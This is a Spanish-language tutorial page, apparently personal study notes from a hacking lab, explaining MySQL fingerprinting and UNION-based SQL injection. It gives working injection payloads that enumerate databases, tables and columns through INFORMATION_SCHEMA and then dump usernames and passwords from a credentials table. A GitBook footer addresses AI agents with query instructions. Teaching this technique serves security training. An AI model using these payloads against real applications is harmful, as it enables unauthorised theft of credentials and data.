> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/sql/enumeracion-de-databases.md).

# Enumeracion de Databases

Ahora juntas todo: usas `UNION SELECT` para extraer datos reales recorriendo la estructura del DBMS.

**MySQL Fingerprinting**

Antes de enumerar, identificas **qué DBMS** es, porque cada uno tiene queries distintas. Pistas iniciales: si el webserver es Apache/Nginx → probablemente Linux → probablemente MySQL; si es IIS → probablemente MSSQL (pero es solo una corazonada).

Queries para confirmar que es MySQL según el tipo de salida que tengas:

| Payload            | Cuándo usarlo          | Salida esperada                                |
| ------------------ | ---------------------- | ---------------------------------------------- |
| `SELECT @@version` | Tienes salida completa | Versión MySQL (ej. `10.3.22-MariaDB-1ubuntu1`) |
| `SELECT POW(1,1)`  | Solo salida numérica   | `1`                                            |
| `SELECT SLEEP(5)`  | Ciega / sin salida     | Retrasa la respuesta 5 seg y devuelve `0`      |

Un output como `10.3.22-MariaDB-1ubuntu1` confirma MariaDB (similar a MySQL).

**La base INFORMATION\_SCHEMA**

Para armar tus `UNION SELECT` necesitas conocer: la lista de **bases**, las **tablas** de cada base, y las **columnas** de cada tabla. Toda esa metadata está en `INFORMATION_SCHEMA`.

Como es otra base, para referenciar sus tablas (o las de cualquier otra base) usas el operador **punto** (`.`):

```sql
SELECT * FROM my_database.users;
```

El recorrido de enumeración tiene 4 pasos:

**1. Bases de datos — tabla `SCHEMATA`** (columna `SCHEMA_NAME`):

```sql
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -
```

📌 Las bases `mysql`, `information_schema`, `performance_schema` (y a veces `sys`) son default → se ignoran. Te interesan las propias de la app (ej. `ilfreight`, `dev`).

Para saber en qué base corre la app actual:

```sql
cn' UNION select 1,database(),2,3-- -
```

**2. Tablas — tabla `TABLES`** (columnas `TABLE_NAME` y `TABLE_SCHEMA`):

```sql
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -
```

📌 El `where table_schema='dev'` filtra para ver solo las tablas de esa base; sin él te salen todas las del servidor.

**3. Columnas — tabla `COLUMNS`** (columnas `COLUMN_NAME`, `TABLE_NAME`, `TABLE_SCHEMA`):

```sql
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -
```

Esto te revela los nombres de columna (ej. `username`, `password`).

**4. Volcar los datos** — ya con base, tabla y columnas conocidas:

```sql
cn' UNION select 1,username,password,4 from dev.credentials-- -
```

📌 Recuerda el operador punto (`dev.credentials`): como la app corre en `ilfreight`, tienes que apuntar explícitamente a la tabla en la base `dev`.

Resultado: extraes los datos sensibles (hashes de passwords, API keys, etc.).

**La idea que te llevas:** es una cadena lógica — bases → tablas → columnas → datos. Cada paso usa `INFORMATION_SCHEMA` para descubrir el nombre que necesitas en el siguiente, hasta que tienes todo lo necesario para volcar la tabla objetivo.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/sql/enumeracion-de-databases.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
